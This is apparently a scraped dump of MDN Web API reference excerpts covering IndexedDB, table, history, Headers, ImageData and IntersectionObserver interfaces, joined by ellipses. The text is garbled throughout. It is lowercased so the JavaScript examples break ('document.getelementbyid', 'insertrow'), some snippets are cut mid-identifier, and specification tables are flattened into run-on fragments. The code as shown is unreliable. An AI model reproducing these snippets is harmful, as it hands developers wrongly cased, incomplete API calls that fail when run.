bject: <select id="existinglist" name="existinglist"> <option value="1">option: value 1</option> <option value="2">option: value 2</option> <option value="3">option: value 3</option> </select> and changes it to: <select id="existinglist" name="existinglist"> <option value="1">option: value 1</option> <option value="3">option: value 3</option> </select> */ specifications specification status comment html living standardthe definition of 'htmlselectelement.remove()' in that specification.
... living standard html5the definition of 'htmlselectelement.remove()' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmlselectelement.remove()' in that specification.
... obsolete document object model (dom) level 1 specificationthe definition of 'htmlselectelement.remove()' in that specification.
HTMLTableElement.insertRow() - Web APIs
the row does not need to be appended separately as would be the case if document.createelement() had been used to create the new <tr> element.
... addrow(tableid) { // get a reference to the table let tableref = document.getelementbyid(tableid); // insert a row at the end of the table let newrow = tableref.insertrow(-1); // insert a cell in the row at index 0 let newcell = newrow.insertcell(0); // append a text node to the cell let newtext = document.createtextnode('new bottom row'); newcell.appendchild(newtext); } // call addrow() with the table's id addrow('my-table'); result specifications specification status comment html living standardthe definition of 'htmltableelement.insertrow()' in that specification.
... living standard document object model (dom) level 2 html specificationthe definition of 'htmltableelement.insertrow()' in that specification.
... document object model (dom) level 1 specificationthe definition of 'htmltableelement.insertrow()' in that specification.
HTMLTableElement.tFoot - Web APIs
} specifications specification status comment html living standardthe definition of 'htmltableelement.tfoot' in that specification.
... living standard no change from html5 html5the definition of 'htmltableelement.tfoot' in that specification.
... recommendation no change from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'htmltableelement.tfoot' in that specification.
... obsolete no change from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'htmltableelement.tfoot' in that specification.
HTMLTableElement.tHead - Web APIs
} specifications specification status comment html living standardthe definition of 'htmltableelement.thead' in that specification.
... living standard no change from html5 html5the definition of 'htmltableelement.thead' in that specification.
... recommendation no change from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'htmltableelement.thead' in that specification.
... obsolete no change from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'htmltableelement.thead' in that specification.
HTMLTableRowElement.insertCell() - Web APIs
the cell does not need to be appended separately with node.appendchild() as would be the case if document.createelement() had been used to create the new <td> element.
... you can not use insertcell() to create a new <th> element though.
... addrow(tableid) { // get a reference to the table let tableref = document.getelementbyid(tableid); // insert a row at the end of the table let newrow = tableref.insertrow(-1); // insert a cell in the row at index 0 let newcell = newrow.insertcell(0); // append a text node to the cell let newtext = document.createtextnode('new bottom row'); newcell.appendchild(newtext); } // call addrow() with the table's id addrow('my-table'); result specifications specification status comment html living standardthe definition of 'htmltablerowelement.insertcell()' in that specification.
... living standard document object model (dom) level 2 html specificationthe definition of 'htmltablerowelement.insertcell()' in that specification.
HTMLTimeElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyli...
... specifications specification status comment html living standardthe definition of 'htmltimeelement' in that specification.
... living standard html 5.1the definition of 'htmltimeelement' in that specification.
... html5the definition of 'htmltimeelement' in that specification.
Headers() - Web APIs
WebAPIHeadersHeaders
this can be a simple object literal with bytestring values; or an existing headers object.
... in the last case, the new headers object inherits its data from the existing headers object.
... example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using headers.append: myheaders.append('content-type', 'image/jpeg'); myheaders.get('content-type'); // returns 'image/jpeg' or you can add the headers you want as the headers object is created.
... in the following snippet we create a new headers object, adding some headers by passing the constructor an init object as an argument: var httpheaders = { 'content-type' : 'image/jpeg', 'accept-charset' : 'utf-8', 'x-my-custom-header' : 'zeke are cool' }; var myheaders = new headers(httpheaders); you can now create another headers object, passing it the first headers object as its init object: var secondheadersobj = new headers(myheaders); secondheadersobj.get('content-type'); // would return 'image/jpeg' — it inherits it from the first headers object specifications specification status comment fetchthe definition of 'headers()' in that specification.
History.forward() - Web APIs
WebAPIHistoryforward
the history.forward() method causes the browser to move forward one page in the session history.
... it has the same effect as calling history.go(1).
... html <button id='go-forward'>go forward!</button> javascript document.getelementbyid('go-forward').addeventlistener('click', e => { window.history.forward(); }) specifications specification status comment html living standardthe definition of 'history' in that specification.
... html5the definition of 'history' in that specification.
History.go() - Web APIs
WebAPIHistorygo
you can use it to move forwards and backwards through the history depending on the value of a parameter.
...if no value is passed or if delta equals 0, it has the same result as calling location.reload().
... examples to move back one page (the equivalent of calling back()): history.go(-1) to move forward a page, just like calling forward(): history.go(1) to move forward two pages: history.go(2); to move backwards by two pages: history.go(-2); and, finally either of the following statements will reload the current page: history.go(); history.go(0); specifications specification status comment html living standardthe definition of 'history.go()' in that specification.
... html5the definition of 'history.go()' in that specification.
HkdfParams - Web APIs
the hkdf specification states that adding salt "adds significantly to the strength of hkdf".
... info a buffersource representing application-specific contextual information.
... this is used to bind the derived key to an application or context, and enables you to derive different keys for different contexts while using the same input key material.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.hkdfparams' in that specification.
IDBCursor.continue() - Web APIs
the cursor does not require us to select the data based on a key; we can just grab all of it.
... also note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
...rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification status comment indexed database api 2.0the definition of 'continue()' in that specification.
... recommendation indexed database api draftthe definition of 'continue()' in that specification.
IDBCursor.continuePrimaryKey() - Web APIs
a typical use case, is to resume the iteration where a previous cursor has been closed, without having to compare the keys one by one.
... calling this method more than once before new cursor data has been loaded - for example, calling continueprimarykey() twice from the same onsuccess handler - results in an invalidstateerror being thrown on the second call because the cursor’s got value flag has been unset.
... example here’s how you can resume an iteration of all articles tagged with "javascript" since your last visit: let request = articlestore.index("tag").opencursor(); let count = 0; let unreadlist = []; request.onsuccess = (event) => { let cursor = event.target.result; if (!cursor) { return; } let lastprimarykey = getlastiteratedarticleid(); if (lastprimarykey > cursor.primarykey) { cursor.continuepri...
...marykey("javascript", lastprimarykey); return; } // update lastiteratedarticleid setlastiteratedarticleid(cursor.primarykey); // preload 5 articles into the unread list; unreadlist.push(cursor.value); if (++count < 5) { cursor.continue(); } }; specifications specification status comment indexed database api draftthe definition of 'continueprimarykey()' in that specification.
IDBCursor.source - Web APIs
WebAPIIDBCursorsource
within each iteration we log the source of the cursor, which will log our idbobjectstore object to the console, something like this: idbobjectstore {autoincrement: false, transaction: idbtransaction, indexnames: domstringlist, keypath: "albumtitle", name: "rushalbumlist"…} the cursor does not require us to select the data based on a key; we can just grab all of it.
... also note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
...encursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.source); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification status comment indexed database api 2.0the definition of 'source' in that specification.
... recommendation indexed database api draftthe definition of 'source' in that specification.
IDBCursorWithValue.value - Web APIs
the cursor does not require us to select the data based on a key; we can just grab all of it.
... also note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
...pencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.value); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification status comment indexed database api 2.0the definition of 'source' in that specification.
... recommendation indexed database api draftthe definition of 'idbdatabase' in that specification.
IDBFactory.cmp() - Web APIs
WebAPIIDBFactorycmp
note: do not use this method for comparing arbitrary javascript values, because many javascript values are either not valid indexeddb keys (booleans and objects, for example) or are treated as equivalent indexeddb keys (for example, since indexeddb ignores arrays with non-numeric properties and treats them as empty arrays, so any non-numeric arrays are treated as equivalent).
... return value an integer that indicates the result of the comparison; the table below lists the possible values and their meanings: returned value description -1 1st key is less than the 2nd key 0 1st key is equal to the 2nd key 1 1st key is greater than the 2nd key exceptions this method may raise a domexception of the following types: attribute description dataerror one of the supplied keys was not a valid key.
... example var a = 1; var b = 2; var result = window.indexeddb.cmp(a, b); console.log( "comparison results: " + result ); specifications specification status comment indexed database api 2.0the definition of 'cmp()' in that specification.
... recommendation indexed database api draftthe definition of 'cmp()' in that specification.
databases - Web APIs
note: this method is introduced in a draft of a specifications and browser compatibility is limited.
... exceptions this method may raise a domexception of the following types: attribute description securityerror the method is called from an opaque origin.
... other error specification does not describe all possible errors.
... example const promise = indexeddb.databases() promise.then(databases => { console.log(databases) }) specifications specification status comment indexed database api draftthe definition of 'databases()' in that specification.
IDBFactory.deleteDatabase() - Web APIs
when deletedatabase() is called, any other open connections to this particular database will get a versionchange event.
... optionsnon-standard in gecko, since version 26, you can include a non-standard optional storage parameter that specifies whether you want to delete a permanent (the default value) indexeddb, or an indexeddb in temporary storage (aka shared pool.) return value a idbopendbrequest on which subsequent events related to this request are fired.
... example var dbdeleterequest = window.indexeddb.deletedatabase("todolist"); dbdeleterequest.onerror = function(event) { console.log("error deleting database."); }; dbdeleterequest.onsuccess = function(event) { console.log("database deleted successfully"); console.log(event.result); // should be undefined }; specifications specification status comment indexed database api draftthe definition of 'deletedatabase()' in that specification.
... recommendation indexed database api 2.0the definition of 'deletedatabase()' in that specification.
IDBFactorySync - Web APIs
important: the synchronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed from the spec because its need was questionable.
... the idbfactorysync interface of the indexeddb api provide a synchronous means of accessing the capabilities of indexed databases.
...blocks the calling thread until the connection object is ready to return.
... exceptions this method can raise an idbdatabaseexception with the following codes: non_transient_err if the name parameter is not valid.
IDBIndex.name - Web APIs
WebAPIIDBIndexname
exceptions there are a several exceptions which can occur when you attempt to change an index's name.
...you can only rename indexes during upgrade transactions; that is, when the mode is "versionchange".
... + '<td>' + cursor.value.company + '</td>' + '<td>' + cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.appendchild(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'name' in that specification.
... recommendation indexed database api draftthe definition of 'name' in that specification.
IDBKeyRange.lowerOpen - Web APIs
the loweropen read-only property of the idbkeyrange interface returns a boolean indicating whether the lower-bound value is included in the key range.
... syntax var loweropen = mykeyrange.loweropen value a boolean: value indication true the lower-bound value is not included in the key range.
...ue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'loweropen' in that specification.
... recommendation indexed database api draftthe definition of 'loweropen' in that specification.
IDBKeyRange.upperOpen - Web APIs
the upperopen read-only property of the idbkeyrange interface returns a boolean indicating whether the upper-bound value is included in the key range.
... syntax var upperopen = mykeyrange.upperopen value a boolean: value indication true the upper-bound value is not included in the key range.
....onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'upperopen' in that specification.
... recommendation indexed database api draftthe definition of 'upperopen' in that specification.
IDBObjectStore.autoIncrement - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.autoincrement); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request ...
... note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'autoincrement' in that specification.
... recommendation indexed database api draftthe definition of 'autoincrement' in that specification.
IDBObjectStore.get() - Web APIs
to tell these situations apart, call the opencursor() method with the same key.
...for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...ansaction var objectstore = transaction.objectstore("todolist"); // make a request to get a record by key from the object store var objectstorerequest = objectstore.get("walk dog"); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; var myrecord = objectstorerequest.result; }; }; specifications specification status comment indexed database api 2.0the definition of 'get()' in that specification.
... recommendation indexed database api draftthe definition of 'get()' in that specification.
IDBObjectStore.index() - Web APIs
the index() method of the idbobjectstore interface opens a named index in the current object store, after which it can be used to, for example, return a series of records sorted by that index using a cursor.
... notfounderror there is no index with the given name (case-sensitive) in the database.
... + '<td>' + cursor.value.company + '</td>' + '<td>' + cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.appendchild(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'index()' in that specification.
... recommendation indexed database api draftthe definition of 'index()' in that specification.
IDBObjectStore.indexNames - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.indexnames); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request no...
...te.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'indexnames' in that specification.
... recommendation indexed database api draftthe definition of 'indexnames' in that specification.
IDBObjectStore.put() - Web APIs
in such cases, calling put(item) will always insert a new record, because it doesn't know what existing record you might want to modify.
...for a full working example, see our to-do notifications app (view example live.) const title = "walk dog"; // open up a transaction as usual const objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has this title as it's title const objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = () => { // grab the data object returned as the result cons...
...k into the database const updatetitlerequest = objectstore.put(data); // log the transaction that originated this request console.log("the transaction that originated this request is " + updatetitlerequest.transaction); // when this new request succeeds, run the displaydata() function again to update the display updatetitlerequest.onsuccess = () => { displaydata(); }; }; specification specification status comment indexed database api 2.0the definition of 'put()' in that specification.
... recommendation indexed database api draftthe definition of 'put()' in that specification.
IDBObjectStore.transaction - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.transaction); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request n...
...ote.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'transaction' in that specification.
... recommendation indexed database api draftthe definition of 'transaction' in that specification.
IDBRequest.source - Web APIs
WebAPIIDBRequestsource
if no source exists (such as when calling indexeddb.open), it returns null.
...for a full working example, see our to-do notifications app (view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has this title as its title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var da...
...request that inserts the item // back into the database var updatetitlerequest = objectstore.put(data); // log the source of this request console.log("the source of this request is " + updatetitlerequest.source); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'source' in that specification.
... recommendation indexed database api draftthe definition of 'source' in that specification.
IDBTransaction.abort() - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...asktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
... duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // abort the transaction we just did transaction.abort(); }; specification specification status comment indexed database api 2.0the definition of 'abort()' in that specification.
... recommendation indexed database api draftthe definition of 'abort()' in that specification.
IDBTransaction.db - Web APIs
WebAPIIDBTransactiondb
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...asktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
... duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // return the database (idbdatabase) connection with which this transaction is associated transaction.db; }; specification specification status comment indexed database api 2.0the definition of 'db' in that specification.
... recommendation indexed database api draftthe definition of 'db' in that specification.
IDBTransaction.onabort - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...asktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error: ' + transaction.error + '</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequ...
...uest (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; transaction.onabort = function() { // report when the transaction was successfully aborted console.log("transaction aborted!"); }; // abort the transaction we just did transaction.abort(); }; specification specification status comment indexed database api 2.0the definition of 'onabort' in that specification.
... recommendation indexed database api draftthe definition of 'onabort' in that specification.
IDBTransaction.onerror - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...asktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error: ' + transaction.error + '</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorereq...
...uest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'onerror' in that specification.
... recommendation indexed database api draftthe definition of 'onerror' in that specification.
IDBVersionChangeEvent.newVersion - Web APIs
example in the following code snippet, we make a request to open a database, and include handlers for the success and error cases.
...for a full working example, see our to-do notifications app (view example live.) var note = document.queryselector("ul"); // in the following line, you should include the prefixes of // implementations you want to test.
... db = dbopenrequest.result; }; specifications specification status comment indexed database api 2.0the definition of 'newversion' in that specification.
... recommendation indexed database api draftthe definition of 'newversion' in that specification.
IDBVersionChangeEvent.version - Web APIs
warning: while this property is still implemented in older browsers, the latest specification replaces it with the oldversion and newversion attributes.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetversion deprecatednon-standardchrome full support 12edge full support ≤18firefox full support 16 full support 16 full support 10prefixed prefixed implemented with the vendor prefix: mozie ...
...expect poor cross-browser support.deprecated.
... not for use in new websites.deprecated.
IIRFilterNode.getFrequencyResponse() - Web APIs
the getfrequencyresponse() method of the iirfilternode interface takes the current filtering algorithm's settings and calculates the frequency response for frequencies specified in a specified array of frequencies.
... the two output arrays, magresponseoutput and phaseresponseoutput, must be created before calling this method; they must be the same size as the array of input frequency values (frequencyarray).
... function calcfrequencyresponse() { iirfilter.getfrequencyresponse(myfrequencyarray, magresponseoutput, phaseresponseoutput); for(i = 0; i <= myfrequencyarray.length-1;i++){ var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + myfrequencyarray[i] + 'hz</strong>: magnitude ' + magresponseoutput[i] + ', phase ' + phaseresponseoutput[i] + ' radians.'; freqresponseoutput...
....appendchild(listitem); } } calcfrequencyresponse(); specifications specification status comment web audio apithe definition of 'getfrequencyresponse()' in that specification.
ImageBitmap - Web APIs
the imagebitmap interface represents a bitmap image which can be drawn to a <canvas> without undue latency.
... it can be created from a variety of source objects using the createimagebitmap() factory method.
... methods imagebitmap.close() disposes of all graphical resources associated with an imagebitmap.
... specifications specification status comment html living standardthe definition of 'imagebitmap' in that specification.
ImageBitmapRenderingContext.transferFromImageBitmap() - Web APIs
the imagebitmaprenderingcontext.transferfromimagebitmap() method displays the given imagebitmap in the canvas associated with this rendering context.
... the ownership of the imagebitmap is transferred to the canvas as well.
... examples html <canvas id="htmlcanvas"></canvas> javascript var htmlcanvas = document.getelementbyid("htmlcanvas").getcontext("bitmaprenderer"); // draw a webgl scene offscreen var offscreen = new offscreencanvas(256, 256); var gl = offscreen.getcontext("webgl"); // ...
... // transfer the current frame to the visible canvas var bitmap = offscreen.transfertoimagebitmap(); htmlcanvas.transferfromimagebitmap(bitmap); specifications specification status comment html living standardthe definition of 'transferfromimagebitmap()' in that specification.
ImageData.data - Web APIs
WebAPIImageDatadata
html <canvas id="canvas"></canvas> javascript since each pixel consists of four values within the data array, the for loop iterates by multiples of four.
... const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const imagedata = ctx.createimagedata(100, 100); // iterate through every pixel for (let i = 0; i < imagedata.data.length; i += 4) { // percentage in the x direction, times 255 let x = (i % 400) / 400 * 255; // percentage in the y direction, times 255 let y = math.ceil(i / 400) / 100 * 255; // modify pixel data imagedata.data[i + 0] = x; // r value imagedata.data[i + 1] = y; // g value imagedata.data[i + 2] = 255 - x; // b value imagedata.data[i + 3] = 255; // a value } // draw image data to the canvas ctx.putimagedata(imagedata, 20, 20); result more examples ...
... for more examples using imagedata.data, see pixel manipulation with canvas, canvasrenderingcontext2d.createimagedata(), and canvasrenderingcontext2d.putimagedata().
... specification specification status comment html living standardthe definition of 'imagedata.data' in that specification.
ImageData - Web APIs
WebAPIImageData
the imagedata interface represents the underlying pixel data of an area of a <canvas> element.
... it is created using the imagedata() constructor or creator methods on the canvasrenderingcontext2d object associated with a canvas: createimagedata() and getimagedata().
... it can also be used to set a part of the canvas by using putimagedata().
... specifications specification status comment html living standardthe definition of 'imagedata' in that specification.
firesTouchEvents - Web APIs
the inputdevicecapabilities.firestouchevents read-only property returns a boolean that indicates whether the device dispatches touch events.
... you can use this property to detect mouse events that represent an action that may already have been handled by touch event handlers.
...for example, stylus and mouse devices typically generate touch events on mobile browsers.
... syntax var boolean = inputdevicecapabilities.firestouchevents returns a boolean example mybutton.addeventlistener('mousedown', function(e) { if (!e.sourcecapabilities.firestouchevents) mybutton.classlist.add("pressed"); }); specifications specification status comment inputdevicecapabilitiesthe definition of 'firetouchevents' in that specification.
compareVersion - Web APIs
the majority of this api is now deprecated and as of gecko 1.9 no longer available.
...this parameter can be an absolute pathname, such as /royalairways/royalsw or a relative pathname, such as plugsin/royalairway/royalsw.
... note that the registry pathname is not the location of the software on the computer; it is the location of information about the software inside the client version registry.
... the following constants can be used to check the value returned by compareversion: int major_diff = 4; int minor_diff = 3; int rel_diff = 2; int bld_diff = 1; int equal = 0; in communicator 4.5, the following constants are defined and available for checking the value returned by compareversion: <code>installtrigger.major_diff installtrigger.minor_diff installtrigger.rel_diff installtrigger.bld_diff installtrigger.equal...
IntersectionObserver.takeRecords() - Web APIs
the intersectionobserver method takerecords() returns an array of intersectionobserverentry objects, one for each targeted element which has experienced an intersection change since the last time the intersections were checked, either explicitly through a call to this method or implicitly by an automatic call to the observer's callback.
... note: if you use the callback to monitor these changes, you don't need to call this method.
... calling this method clears the pending intersection list, so the callback will not be run.
... examples <<<...>>> specifications specification status comment intersection observerthe definition of 'intersectionobserver.takerecords()' in that specification.
IntersectionObserver.thresholds - Web APIs
regardless of the order your original threshold array was in, this one is always sorted in numerically increasing order.
... be careful!
... although the options object you can specify when creating an intersectionobserver has a field named threshold, this property is called thresholds.
... examples <<<...>>> specifications specification status comment intersection observerthe definition of 'intersectionobserver.thresholds' in that specification.
IntersectionObserverEntry.intersectionRatio - Web APIs
syntax var intersectionratio = intersectionobserverentry.intersectionratio; value a number between 0.0 and 1.0 which indicates how much of the target element is actually visible within the root's intersection rectangle.
... example in this simple example, an intersection callback sets each target element's opacity to the intersection ratio of that element with the root.
... function intersectioncallback(entries) { entries.foreach(function(entry) { entry.target.style.opacity = entry.intersectionratio; }); } to see a more concrete example, take a look at handling intersection changes in timing element visibility with the intersection observer api.
... specifications specification status comment intersection observerthe definition of 'intersectionobserverentry.intersectionratio' in that specification.
IntersectionObserverEntry.isIntersecting - Web APIs
syntax var isintersecting = intersectionobserverentry.isintersecting; value a boolean value which indicates whether the target element has transitioned into a state of intersection (true) or out of a state of intersection (false).
... example in this simple example, an intersection callback is used to update a counter of how many targeted elements are currently intersecting with the intersection root.
... function intersectioncallback(entries) { entries.foreach(function(entry) { if (entry.isintersecting) { intersectingcount += 1; } else { intersectingcount -= 1; } }); } to see a more concrete example, take a look at handling intersection changes in timing element visibility with the intersection observer api.
... specifications specification status comment intersection observerthe definition of 'intersectionobserverentry.isintersecting' in that specification.
IntersectionObserverEntry.target - Web APIs
the intersectionobserverentry interface's read-only target property indicates which targeted element has changed its amount of intersection with the intersection root.
... syntax var target = intersectionobserverentry.target; value the intersectionobserverentry's target property specifies which element previously targeted by calling intersectionobserver.observe() experienced a change in intersection with the root.
... function intersectioncallback(entries) { entries.foreach(function(entry) { entry.target.opacity = entry.intersectionratio; }); } to see a more concrete example, take a look at handling intersection changes in timing element visibility with the intersection observer api.
... specifications specification status comment intersection observerthe definition of 'intersectionobserverentry.target' in that specification.
InterventionReportBody - Web APIs
so for example, a script was been stopped because it was significantly slowing down the browser, or the browser's autoplay policy blocked audio from playing without a user gesture to trigger it.
...this can be used to group reports by deprecated feature.
...this typically matches the message a browser will display in its devtools console when an intervention is imposed, if one is available.
... buffered: true } let observer = new reportingobserver(function(reports, observer) { let firstreport = reports[0]; console.log(firstreport.type); // intervention console.log(firstreport.body.id); console.log(firstreport.body.message); console.log(firstreport.body.sourcefile); console.log(firstreport.body.linenumber); console.log(firstreport.body.columnnumber); }, options); specifications specification status comment reporting apithe definition of 'interventionreportbody' in that specification.
KeyboardEvent.keyIdentifier - Web APIs
the deprecated keyboardevent.keyidentifier read-only property returns a "key identifier" string that can be used to determine what key was pressed.
... its non-deprecated replacement is keyboardevent.key.
... specifications not part of any current specification.
... this property was part of an old draft of the dom level 3 events specification, but it was removed in later drafts in favor of keyboardevent.key.
KeyboardLayoutMap.forEach() - Web APIs
syntax keyboardlayoutmap.foreach(function callback(currentvalue[, index[, array]]) { //your iterator }[, thisarg]); parameters callback the function to execute for each element, taking three arguments: currentvalue the value of the current element being processed.
... array optional the keyboardlayoutmap that foreach() is being called on.
... thisarg optional value to use as this (i.e the reference object) when executing callback.
